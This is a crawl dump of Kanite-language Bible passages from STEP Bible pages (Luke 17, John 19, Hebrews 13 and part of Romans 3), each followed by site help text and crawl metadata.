méꞋa ánásanaaokaꞋa séꞋa úwoi kwená mayáí-kwáásíyá úndaya póta úwoi kentáásí mayáíyá mairáumne séꞋa íma kentúma maimaéꞋa íyóro Ísu siráiye.\nÍsu túma karón-kwaasi kaweꞋá umátínkarain-kwasai.11 Ísu Yérúsaremu-naor-ampaꞋa kúmba Sámériyaa-marawe Káríri-marawe avumpin-ámpáꞋá kwéena 12 moórá-naopaꞋa kwéguwasa túma karón-kwaasi siyáánkai-kwaasi kwétesa némpaꞋo Ísumo túmba awánésa 13 aayamái sésa anóndako Ísuwo kentáá arumbá umásinkaao suwaná 14 Ísu tuwánéna séna monoꞋ-máyáí-kwáásítópaꞋa kwéꞋa kentúma máagaraatinkewasa tuwánésa túma kawáúgwiye sénááowe súwasa aampaꞋá kumbá túma kaweꞋá umátinkowana 15 miwívínkémbá moóráwai áúma kaweꞋá umánkomba awánéna koyauweréna anónkaꞋa tasiréna Áánútu áwíꞋa mósá maréna 16 Ísu anóndakoman-iye séna aísamaivimba takívairena súwi séna minkwáásí íma Yútaa-kwaasi Sámériyaa-maravaken-kwaasigo súwi súwana 17 Ísu séna siyáánkai-kwaasi túma kaweꞋá umátinkaunda avaréíyain-kwaasi íma koyauwérááwana 18 kímborawai óꞋom-baravaken-kwaasigo koyauweréna Áánútu áwíꞋa mósá kwémaraiye simásuwena 19 minkwáásígóntávéna séna kentáváí súwaꞋnaa íníwaiman-iye sénda póna enáúma kaweꞋán-ivo kwaaó Ísu siráiye.\nÁánútu kwená kwaási kawááin-kwasai.20 súwasa ámáán-kawaa-kwaasi Ísumba áísaa esa sésa Áánútu kwená kwaási kwégawaain-kanaama nósa-tawaiya tíníyo suwaná Ísu séna Áánútu kwená kwaási kwégawaaimba íma kanaán-umai túrandei awánanaaovo 21 Áánútu kwená kwaási kwégawaaimba kwaási túraꞋa ááimba ásáraimba pósa maankáꞋá ópaꞋa kárákwiraiye íma kanaán-umai sénááowe Ísu siráiye.\n22 Ísu simásuwena kwená kwayó-kwáásíyávéna séna naaémba kemá kwaási úrandako kúmónda-kanaa awánanae síyambanivo íma mirán-kánáámá suwánanaaowe. 23 évakarawai sésa maaváꞋá máyáivo tawánaaromo síyasa óꞋowima sésa maaváꞋá máyáivo tawánaaromo síyaꞋo íma áraire séꞋa kóyáwé oró. 24 kwíyómpaꞋo tawáombo úmae kwisasamó awánaantemba kemá kwaási úrandako miráumai avoraꞋá ókwaraꞋa kumónaumne. 25 misúnda-aimba íma paárurainasa aivaꞋá ívéꞋo máyáan-kwaasi tínaaemba umásinkesa síꞋa índaiꞋa umásinkanaaowe. 26 naaóváꞋá moóráwai áwíꞋa Nówaa máyonkaꞋa kwaási íma Áánútuna imáyáa ésa maémáentemba naaémba kemá kwaási úrandako kúmónda mirá ónááowe. 27 Nówaa máyonkaꞋa nombá toómbá kwénesa tiyáámúmbaaꞋa kwétokwaa-esa aaraí máyówasa kwaaí máyówasa kwéuwana Nówaa naaúmpaꞋa non-avóvomayaaꞋo kún-daumpaꞋa umáyowana anón-aꞋa téna kavirayán-dónkó amápa-kwaasi tínkamuwasa putásaraawe. 28 naaóváꞋá moóráwai áwíꞋa Áróti máyonkaꞋa íma Áánútuna imáyáa kwéesa mésa nombá toómbá kwénesa kwémeya úmae kwénaaesa kígauma naambá úmae naaémáémba 29 Áróti Sótómu-naopaꞋa tiyuwónkaꞋa Áánútu óntankwara iraronkwáráꞋá kwíyómpakemba tuwówana kuména tínkamuwasa putásaraawe. 30 Áróti máyonkaꞋa kwaási íma Áánútuna imáyáa ésa maémáyáantemba kemá kwaási úrandako ókwaraꞋa kumpaárondaraꞋa mirá ónááowe.\n31 ókwaraꞋa kúmóndaraꞋa ontaráꞋó máyaiyan-kwaasi naaúmpakemba náaindaamba íma óꞋa umayánááowe. kígauvaꞋo máyaiyan-kwaasi náaindaamba naaúmpaꞋo kwáyainda óꞋa íma umayánááowe. 32 Áróti awainínkón-áái imáyáa oró. kwená náaindaamba tuwón-imayaa éna mógwantowana óntankwara iraronkwáráꞋá kuména tuvuwúwana pukáiye. 33 tirááímo táíndaiꞋo ésa íma kaweꞋá umái ménaaovo kentávésa imáyáa ésa tirááímo táínda-yantaaꞋa tuwésa puwésa aúnáiꞋa umái kwíyómpaꞋa maíꞋmaiꞋa ónááowe. 34 simátimeꞋa séꞋa ókwaraꞋa kúmóndaraꞋa mindóꞋwáámbá kae-kwáásí mimbóráváꞋá tuúmá kwéreyana Áánútu moóráwaimba auwéna moóráwaimba airáníye. 35 minkánáá kaer-ínínkáí toómbá kwégwanteyana Áánútu moórá-inimba auwéna moórá-inimba airáníye. [ 36 kaekóráí kígauvaꞋa méyana Áánútu moóráwaimba auwéna moóráwaimba airáníye Ísu súwasa] 37 kwená kwayó-kwáásí sésa Ísóigoo emó sénda-aimba náávatavai seénó suwaná póímo awáímó kaviraipáꞋó náíndayavenamo evontáán-dúmáómó torupamáímo máyáintenba Áánútu sínana súnda-aimba paáriniye Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.17","date":"2018-04-25T22:08:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947968.96\/warc\/CC-MAIN-20180425213156-20180425233156-00023.warc.gz","language":"kze","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000026226043701}","num_words":787,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 191 suwaná Páíráti i-kwáásí simátimuwasa Ísumba áwí-andanei áwírukuꞋ-nesa 2 anón-kwaasiti kánumoꞋan-iye sésa áwí-andama owepamái Ísu aꞋnómpímbá kuvérankesa naaeyayán-únánkwátói anón-kwaasiti unáánkwátóiman-iye sésa umánkesa 3 kanaárááꞋa ankésa moórá-mora-umai kwenópaꞋa tésa sésa Yútaa-kwaasiti kawáánáꞋá óne sésa tiyáándei tuvútoꞋna uráawe.\n4 tuvútoꞋna uwaná moórágwaraꞋa Páíráti kunákáruwena amápa-kwaasiyavena séna maísáaro. íma sáwíꞋa uráintaveꞋa áíꞋmaeꞋa túrankaꞋa máankaraanaꞋa awánaaro. íma sáwíꞋa uráiye súwana 5 Ísu kunákáruwena aꞋnómpímbá áwí-andagwara naaeyayán-únánkwátóigwaraꞋa kunákárúwowana Páíráti simátimena séna minkwáásígómbá awánaaro súwasa 6 mono-káwáá-kwáásíyé monoꞋ-nánkár-í-kwáásíyé awánésa anónkar-anonkaꞋa sésa taairaꞋá tuvuwíyana puwíno suwaná Páíráti séna kwemá íma sáwíꞋa uráimba póꞋa kemá íma tuvuwónaumpo keinárawaꞋa áíꞋmaeꞋa taairaꞋá máyuvuworo súwasa 7 Yútaa-kwaasi sésa kwemá séna Áánútu áánimba úne seémáyaimbanivo kentáásí ámáánkoma séna mirámó síndawaimba tuvuwíyana puwíno símakaampimba póta tuvuwónaumne suwaná 8 Áánútu áánimba úne siráin-aimba Páíráti isówana ávááraumai ááꞋa kówana 9 naaúmpaꞋa kuntauweréna umaéna Ísumba áísaa ena séna náávakewaiyaꞋono súwana Ísu iséna íma aaí súwana 10 Páíráti séna kemó áísaa únda nóra se íma aaí kwéseno. kemó aaimó senasamó ésa ayúrankanaaowe. kemó senasamó ésa taairaꞋá tuvuwíyama puwíníyone. minásíráyámbá tokáumne súwana 11 Ísu séna Áánútumo minásíráyámbó ímo ámakainkakai íma toráasino. Áánútu ámakaivo síꞋmaenamo enkáꞋó másínkaiwaina sáwí-mayaigoma ená sáwí-mayaigomba usáyaaitaraiye siráiye.\n12 Ísu súwana Páíráti mináímbá iséna séna nóraꞋiyo ke minkwáásí ayúrankanaeꞋa kwéune súwasa Yútaa-kwaasi anónkaꞋa sésa emó ayúrankemo éma íma Árómáani-kamaani-aiva-kawaanakona kwaási-iꞋa kwéone. Ísu séna kemá kawáánákómá úne siráintavai Árómáani-kamaani-aiva-kawaanakomba usáyaaitanae siráintavai mindáyavaiye séma íma ayúrankaao suwaná 13 Páíráti mináímbá iséna Ísumba áíꞋmaena máápaꞋa óntan-ayaumá kwáyom-barupaꞋa Yútaa-kwaasi tááivinkemba áwíꞋa Kápata-marupimba kumbéna aaivimbá maitínkarom-barupaꞋa kumbéna Yútaa-kwaasiyavena séna kentí kawáánákómán-iye súwana tíyótaasa í-tánón-kánáámá aaváyaaraamba tíníye úwana ívékaamba kwáyáꞋwái sáwíyankaꞋa tíníye úwana Páíráti Yútaa-kwaasiyavena séna kentí kawáánákómán-iye súwasa 15 ímaniye sésa anónkar-anonkaꞋa sésa taairaꞋá tuvuwíyana puwíno suwaná Páíráti tísaa ena séna kentí kawáánákómbá taairaꞋá tuvuwíyaneꞋa kwéowe súwasa mono-káwáá-kwáásí sésa Árómáani-kamaani-aiva-kawaanako kweyááma kentáásí kawáánákómán-iye suwaná 16 Yútaa-kwaasi tááigo usáyaaitontavena Páíráti séna Ísumba taairaꞋá tuvúwóro séna tímakaiye.\nÍsumba arááꞋa tuvúkáan-kwasai.17 Páíráti timúwasa i-kwáásí Ísumba áíꞋmaesa taaimá tuvuwónááon-taima kwenkáꞋá ámúwana áúgwaataꞋmaena tuvuwónááon-ayampaꞋa kúmba mináyámpáré sésa áwíꞋa aꞋnómayaampare Yútaa-kwaasi tááivinkemba Kórígótaavare mináyámpáꞋá kúwasa 18 taairaꞋá aíyayaampimba tuvúsúmaresa kae-kwáásíráí Ísuna évarevar-akwampaꞋa taairaꞋá tuvúsúmaresa Ísumba avumpimbá tuvúsúmarowana 19 Páíráti kwená mayáí-kwáásíyávéna séna Ísu Násáretivakewaima Yútaa-kwaasiti kawáánáꞋán-iye séꞋa agaimái taairaꞋá aráápamankaaro súwasa 20 kaumbo-kwáásí tááivinkemba Yútaa-kwaasi tááivinkenkwara Árómáani-kwaasi tááivinkenkwara Kíríki-kwaasi tááivinkenkwaraꞋa agaimái aráápamankarowasa sáwíva-kwaasi awánomba tuvúwún-ayampaꞋa anón-daopaꞋa egwaaꞋá kwáyontavai sáwíva-kwaasi mináúváímá awánésa táámpamai ísówasa 21 Yútaa-mono-kawaa-kwaasi Páírátintavesa sésa Yútaa-kwaasiti kawáánáꞋán-iye íma mirá simái agayáámpo kwemá séna Yútaa-kwaasiti kawáánáꞋá úne mirá simái agayaaó suwaná 22 Páíráti séna áꞋa agaimakáumne siráiye.\n23 i-kwáásí Ísumba taairaꞋá aíyayaampimba tuvúsúmaronkaꞋa kwená unáánkwátói maimaésa éíyainkaꞋa taaímbaresa moórá-mora-i-kwaasi éíyain-kwaasi minúnánkwátói maimaésa moórá-ampaanta paákár-únánkwátói íma arúmakon-ampaantama maimaésa sésa 24 taráráivo séta aávéiya kwétiyaananaya nááwa usáyaaitena mayáníyo sumbá Áánútun-aai aúváívimba agaimaréna séna\n- kesí unáánkwátói taaímbai maimaésa moórá\n- kesí ampaantarátávésa aávéima tiyaráawe\n25 i-kwáásí mirá uwasá Ísuna kwaási taairaꞋá tuvúkón-taigona ááimpimbo máúmba Ísumba anówa úwana kwenáúnko Kórópasi awainínkó áwíꞋa Máríyaa úwana Mágátáraa-naopaken-ininko áwíꞋa Máríyaa úwasa miráumai-inimba taaigoná ááimpimba máyówana 26 Ísu kwenanówamba awánéna kembá Yónimba suwánéna anówantavena séna mindá enáánimban-iye séna 27 kentávéna séna mindá enanóman-iye súwaꞋa iséꞋa kesí naaúmpaꞋa móankareꞋa kárákwiraumne.\nÍsuma pukáin-kwasai.28 minkákémbá Ísu imáyáama éna amápaꞋ-mayaima ánásaumne súmba sáwí-imayaagomo tátokaimpinkemba iyátinkaunda-mayai amápaꞋ-mayai ánásasuwaumne séna Ísun-aai Áánútuna aúváívinkemba paárinintavena Ísu séna nontáváí kwésinkaiye súwana 29 ándá-aran-domba ikaaꞋ-nómbá anavéúmpímbá kwáyowana paru-táyánáma mindómpímbá tuꞋmaéna oviyen-támayopimba kinúvaimaena naínkwáe séna Ísu óikaꞋa mósá marówana 30 Ísu néna séna amápaꞋ-mayaima ánásasuwaumne séna aꞋnómbá kívaimai avowa ayáámpimba kwenamambá toꞋmaréna pukáiye.\nÍsuna akwámpímbá kwaantáándéí agaivaráin-kwasai.31 Ísu kweyááríkaꞋa puwúwana Yútaa-kwaasima agándon-kanaama tíyótaasa í-tánón-kánáámá aaváyaaraamba tíníye úwasa pósa sésa agándai-kanaaraꞋa puwíyan-kwaasi taairaꞋá máévo sésa PáírátinopaꞋa tésa sésa puwíyan-kwaasi íma úwoi tiyúwéwasa taairaꞋá máéro. tísamaima ankaisíyasa ááéma puwíyasa taairakémbá marapáꞋá maitiyúwáaro suwaná 32 Páíráti owé súwasa i-kwáásí Ísuna évarevar-akwampaꞋa taairaꞋá tuvúsúmaron-kwaasi tísamaima koankaisésa 33 ÍsunopaꞋa tumbá áꞋa pukóntavesa kwenaísamaima íma ankáísúmba 34 moórá-i-kwaasigo Ísuna akwámpímbá kwaantáándéí agaivówana naaegwárá nonkwáráꞋá kunkáiye.\n35 mindámó awánáúndawaima simátímakaumne. awánéꞋa árair-aimba súnda póꞋa iséꞋa séꞋa áraire sénááowe. 36 Áánútun-aai aúváívimba agaimaréna séna kwenayáátámba íma ankaisíníye agaimaréna sirónkaꞋa pósa i-kwáásí mirá uráawe. 37 moórávaꞋa agaimaréna séna kwaantáándéímó agaiváíndawaimba avuwónááowe agaimaréna sirónkaꞋa póna paáruraiye.\nÍsumba utamánkaraan-kwasai.38 Yósépima Árímátíyaa-naopakewaima Ísun-aai isówai póna Yútaa-anon-kwaasi táároi inkaiséna kwenáwíꞋa áúyotukomba póna Ísuma puwúnkaꞋa PáírátinopaꞋa téna séna Ísun-auma utánáivo simiyó súwana Páíráti séna kanaámpó mayáníyone súwana Yósépi Ísun-auma komayówana 39 Níkótimasima ááéma ÍsunopaꞋa noꞋwáámba tiráiwai áséi-kwiyumba úm-basawemba anóm-basawemba kaeꞋá maimaéna Yósépimba kóáíꞋmaesarai 40 Ísun-auma komaimaésarai ampaantavímbá mináséí-kwíyúm-básáwénkwáráꞋá asááúmaesarai tésarai Yútaa-kwaasi miráumai utaantembá pósarai miráumai utarááiye. 41 Ísumbo tuvúkáan-ayampaꞋa taai-kigáúmá kwáyowana utaráam-buri-aima ímo kwaási utaróm-buri-aima kwáyowasarai 42 agándai-kanaama sáwíyankaꞋa tíníye sésarai mimbúrí-áímá egwaaꞋá kwáyontavesarai Ísumba mimpímbá máutaraaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.19","date":"2018-04-25T03:02:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947690.43\/warc\/CC-MAIN-20180425022414-20180425042414-00184.warc.gz","language":"kze","language_score":0.9999662638,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999662637710571}","num_words":846,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 13\nÁánútu aamoí ínkwáe-iꞋa oro siráin-kwasai.1 Ísu Káráísitiye tarúmai máyáawai Áánútuna akúníꞋa umái máyáamba póꞋa moórá-morawaivimba kentirumbá kwétimeꞋa íma ivátuwaaro. 2 namu-kwaasímó tíyaꞋo éꞋa toómbá naambá kwétimeꞋa íma iváꞋá tiyúwáaro. évakarawaimo mirámó uráamba íma marapá-kwáásí kaweꞋá umátínkaraavo kwíyómpaken-kwayoꞋnarawaꞋa mirá umátínkaraavo íma kwíyómpakewai owé-ímáyáá uráavo marapákén-kwáásí owé-ímáyáá uráawe. mindáyaveꞋa namu-kwaasí túwaꞋnaa oro. 3 Áánútuna kwaásivinkemba kwená kwaási onkákémbá évakarawai tíꞋmaesa ándávaꞋa mótínkáamba miwísé ándáraamba umái maémáyáambanivo mindáyaveꞋa imáyáa éꞋa túwaꞋnaa oro. umbai-yántááꞋá miwívímbá kwáyáin-kwaasi keinárawapinkwaraꞋa miráumai umbai-yántáákáámbá kwáyáiwain-ovo imáyáa éꞋa túwaꞋnaa oro.\n4 aaraimó kwaaimó máyáawasa kwaaimó aaraimó máyáawasa kwéon-amba kawer-ámbán-ivo aaraí íma sáwí-ankaꞋa nááówasa kwaaí íma sáwí-ankaꞋa nááówasa miráumai máyáavo aarai-úmóyáné kwaai-úmóyáné íma oró. mirámó íyanamo éna Áánútu sáwí-meyamba timíníye.\n5 Áánútu séna\n- íma tiyuwéꞋa túwaꞋnaa ónaumne\n- Ísóigo kwésuwaꞋnaa-imba póꞋa kwaásimo\n- sáwíꞋo umásinkaiyamba íma sááꞋa káníye\n7 ááéma kentí anón-kwaasi Áánútun-aai simátímakaawaiyaveꞋa imáyáa oró. miwímó máyón-aaine pukáan-aaine imáyáa éꞋa Áánútuwemo aráápamaimo maémáéntemba mirá oró. 8 Ísu Káráísiti naaóváꞋó uráintene minkáꞋó mirá uráintene ívékwaraꞋa mirá kwéintene naaénkwaraꞋa mirámó íníntene. mindáyaveꞋa 9 toómbá aambá áúmbakaan-amba kwaránááomba íma túwaꞋnaa ínívo Áánútu úwoi súwaꞋnaa umáíya kwéasiramasinkaivo óꞋon-oꞋom-bonor-aimba kampaꞋ-mónór-áímbá iséꞋa kwáráavainivo kárákwiyoro.\n10 Ísu Káráísitimo puwénamo kwenáúmo Áánútumbo ámakaintavenaya kwésuwaꞋnaa-imbanivo mono-náúmpáꞋó monoꞋ-máyáí-kwáásímó póímo tuvúꞋmáímo Áánútumbo ámén-kwaasi íma kanaán-umai kwétuwaꞋnaa-iye. 11 aivaꞋ-mónó-káwáánákó kwaási sáwíꞋo uráantavena póí tuvukéna naaemá umaéna Áánútuna aokaꞋ-náúmpáꞋá iréna mindááémá tuvimpín-úmáráísasa mimpóí mindáókona aaumépaꞋa íma nésa agaisukáawe.\n12 miráumai Ísu Káráísiti kentááyávéna imáyáa éna sáwí-imayaa maitiyuwánaumne séna íma aꞋáo súwasa áíꞋmaesa mindáókona aaumépaꞋa móankaresa tuvúwúwana puwúwana kwená naaemá kunkáiye. mirámó uráimba póímo tuvúꞋmáímo Áánútumbo ámén-kwaasi íma kanaán-umai kwétuwaꞋnaa-ivo kentáá kwésuwaꞋnaa-iye. 13 Ísumba áíꞋmaesa mindáókona aaumépaꞋa móankaresa tuvúwúwana pukáimba miráumai monoꞋ-náúmpáꞋó póímo tuvúꞋmáímo Áánútumbo ámén-amba tuwáúnasaya kwembó simáímo sáwíꞋo umánkaraantemba kentáágwáráꞋá simái sáwíꞋa umásínkáamba póta íya kwentá auwánaumne. 14 marapáꞋó kwaíkwaiꞋo ínín-daoꞋa íma kwáyáintaveta kwíyómpaꞋo maíꞋmaitaamo ónaunda-naopata imáyáaya éta póta íya kwentá auwánaumne.\n15 Áánútumbo póímo áméntemba Ísu Káráísiti kentááyávénawe séna pukáintaveta Áánútuna kwaási úne súndawaiya aamoí umánkámae kwéiyeta kwenáwíꞋa mósá maréta íya túwáano. 16 kaweꞋá umátinketa túwaꞋnaa eta íyaamo túwáandayavena Áánútu aamoí íníye.\n17 kentí anón-kwaasi táái iséꞋa kwésentemba mirán-oro. keinárawakaꞋa kaweꞋá umái kárákwimae kwéiyesa naaémba Áánútumba mimbáyáíyávéꞋa simámenaaowe. miwí tááimo ísámaimo kaweꞋó íyasamo ésa aamoí íyaꞋa mindáyaveꞋa kaweꞋá umái ménaaowe. miwí tááimo ímo ísámaimo kaweꞋó íyasamo ésa miwítí mayáí umbaí táínaꞋa mindáyaveꞋa íma kaweꞋá umái ménaaowe.\n18 imáyáa éta kentáásirumpinta íma aaí kwáyáísata amápa-tantaataveta arupíya ónáeya kwésumpo kentááyávéꞋa ÁánútumpaꞋa námúnaa símae íyóro. 19 asiramái simátimeꞋa séꞋa ókwaraꞋa kentópaꞋa sáwíyankaꞋa kónaunda-amba Áánútu paárinintaveꞋa námúnaa seró súne.\nnámúnaa siráin-kwasai.20 Áánútu paru kwéumatinkaiwaina ááinko éna Ísóigo Ísu pukáimpinkemba usásinankarowana puwúwanamo kwená naaemó kunkáintavena póna simái tarúmakain-aimba kwaíkwaiꞋa ínana sipisípiraꞋo kárákwiraiwaimo intembá Ísóigo Ísu kentááráꞋá kwégarakwiyiye. 21 Áánútuna imáyáavinkeniꞋa ónááontavena Áánútu asirayámbá timíníntaveꞋa námúnaa kwésune. Áánútu kentáásirumpinta mayáí kwémayaimba Ísu Káráísitina asirayándéí kwembó arááímo taim-báyáí Áánútu mayáníntaveꞋa námúnaa kwésune. Ísu Káráísiti áwíꞋa aasiyaasí anómba kwaíkwaiꞋa kwéimba árair-aimba intávéꞋa námúnaa kwésune.\n22 kesí kwaásiyono. asiramái simátimeꞋa séꞋa asiramátinkanaundayaveꞋa maanáúváímá agaimái timúnda íma ayáátáár-aimban-ivo kwempaꞋá méꞋa ísáaro. 23 moórá-aimba ísáaro. moóráwai áwíꞋa Tímóti ándávakemba kwéayurankaamba póna ááémo tínaꞋo éꞋa kentópaꞋo kóndaraꞋa áíꞋmaeꞋa kónaumne.\n24 kentí anón-kwaasiyavetaawe Áánútuna kwaási amáparawaiyavetaawe simátimeꞋa séꞋa kaweꞋá umái máéro kwésune. Áánútuna kwaási Ítári-maravakewai simátimesa sésa kaweꞋá umái máéro kwésewe.\n25 Áánútu úwoi kwétuwaꞋnaa-intaveꞋa námúnaa kwésune.\nkesáái ánásaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Heb.13","date":"2018-04-22T10:39:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945584.75\/warc\/CC-MAIN-20180422100104-20180422120104-00560.warc.gz","language":"kze","language_score":0.999997139,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999971389770508}","num_words":655,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 31 ímo óꞋonkaavimban-ivo Yútaa-kwaasivimba nóran-kawe-tantaara paáruraiyo. túmo kárámaimo araaꞋénamo uráamba mindá nóran-kawe-tantaara paáruraiyo sembó 2 sísaa íyaꞋo éꞋa anondá séꞋa kawe-tántááꞋá paáréna aivaꞋá Yútaa-kwaasi Áánútun-aaimo tátoranaaontavena simátímakaiye sénaumne. 3 simátímakaimbanivo évakarawai Áánútuntavesa íma imáyáa ésa kwenáái íma kwétaagwiyavowe. mirá kwéovo Áánútu íma mirá éna kwemó siráintemba kwéena simái asirámakainiꞋa kwéiye. 4 kwaási kampar-áímbá kwésevo Áánútu árair-aine suꞋmai kwésiye. Áánútuntavena simái aúváí-kwandaaivimba agaimaréna séna\nenááigo árair-aine suꞋmai isasá kwaási\nísaraawe. íma kanaán-umai aaivimbá mayankánááovo enááigo amápa-kwaasi\ntáái kwéusayaaitaiye\nagaimaréna siráiye.\n5 kesáámó sáwítaamo úndavinkemba Áánútuna kaweꞋ-máyáí avoraꞋá kwégwaintaveta sáwíta kwéunanaya Áánútu sáwí-meyamba símímba sáwíꞋa kwéiyeya íma seno. mirán-áímbá kwaásiti imáyáavinkemban-ivo íma miráyá seno. 6 Áánútumo ímo arupí umáímo ménaraankasi naaémba amáparawaimo máyáawaina ááintavena íma tísaa isinó.\n7 moórá-aimba ísáaro. kesáámó kampar-áímbó súndavinkemba Áánútuna árair-aimba avoraꞋá paárisana kwenáwíꞋa mósá anómba kwéiyintaveta kesáámó sáwíꞋo kwéundayavenaya Áánútu aaivimbá maisínkáimba sáwíꞋa kwéiyeya íma seno. 8 mirán-kámpár-áímbó kwésemba mimpínkémbá sésa kesáámó sáwíꞋo kwéundaya mimpínkémbá kawe-tántááꞋá paárínana Áánútu áwíꞋa iyíníye íma mirán-áímbá seró. évakarawai kesúwíꞋa sáwíꞋa umásinkanaaontavesa kentávésa kampaꞋá sésa mirán-áímbá kwésiye kwésevo Áánútu miwí aaivimbá maitinkéna arupí umái sáwí-meyamba timíníye.\namáparawai íma arupí umái máyáan-kwasai.9 kemá Póro mináímbá imáyáa éꞋa séꞋa Áánútu aúrankaꞋa íma maarán-iye. Yútaa-kwaasiya kawe-kwáásíyá únasaya óꞋonkaa-kwaasi sáwí-kwaasi owémá íma mirán-ivo kéꞋnaan-aimba séꞋa sáwí-imayaago amáparawai tátokaiye kwésune. 10 mindáyavena Áánútun-aai aúváívimba agaimaréna séna\nÁánútu aúrankaꞋa amáparawai íma arupí umái máyáawe. 11 ánivo amáparawai arupí ií-yántááꞋá íma kaweꞋá umái kwéawanesa Áánútuwe maénáe íma kwésewe. 12 amáparawai Áánútumba tínaaemba umámesa sáwí-amba kwarésa kaéꞋnáeꞋa ésa íma kaweꞋá kwéowe. 13 kwaásimo puꞋmáímo kaviraantembá miwí tááigo mirá kwéisasa kampaꞋá kwésimatiyuwaawana miwí tááigo kwaaivainkómó kwaásimo vaintembá kwéisasa 14 anómba simái sáwíꞋa umátinkesa 15 ááéma tínkamowasa púwówai mésa 16 kwénaaopaꞋa tíꞋa úniꞋa umái umbai-yántááꞋá timésa 17 íma paru umátinkesa 18 Áánútu áároi íma inkaisésa ivátuwesa máyáawe\nagaimaréna siráiye.\n19 Áánútu amápaꞋ-maravaken-kwaasiyavena ámáámba séna mináímbá kwáráaro siráimbanivo araaiséta amáparawaiya Áánútu aúrankaꞋa sáwíꞋa éta súnda arupí umáíya máyaumneya íma áraiꞋa kwésune. 20 Áánútumo siráin-amaamba kwáyáísata amáparawaiya íma áraiꞋa séta amápar-amaamba kwégwaraundaya póna Áánútu kentááyávéna séna arupí umái máyáawe síníye sénaundaya kampar-áímbá sénaundayaawe. ámáámba kwéiseta sáwíꞋa uráumneya kwésundayaawe.\nÍsun-aaiyavai áraire sewáí Áánútu arupí umátínkáin-kwasai.21 Áánútu aúná-amba agaráásinkenaya Áánútu aúrankaꞋo kwaásimo arupí kwéumatinkain-amba agaráásinkenaya kwemó siráin-amaamba íma imáyáa éna minámbá agaráásínkaraiye. mináíntávésa naaóváꞋá Mósesiye Áánútun-aai simátímakowaiye minámbá paáriniye-aimba simátimesa agaimakáawe. 22 kwaási Ísu Káráísitavesa sésa áraiꞋa kentáásí sáwí-imayaavinkemba iyásínkaraiye kwésewana miwíyávéna Áánútu séna arupí umái máyáawe kwésiye. Ísu Káráísitin-aaiyavesa áraire sésa kwenkáꞋá agevamái máyáawai Áánútu arupí kwéumatinkaimba mimbórá-ámbá kwáyáiye. 23 amáparawai sáwíꞋa ésa Áánútumbo arááímo kwétainiꞋo umáímo ménaesamo ombá ívéꞋa íma miráumai máyáawana póna 24 Áánútu úwoi túwaꞋnaa ena arumbá umátínkáísana Ísu Káráísiti miwítí sáwí-imayaagomo tátokaimpinkembo iyátinkena 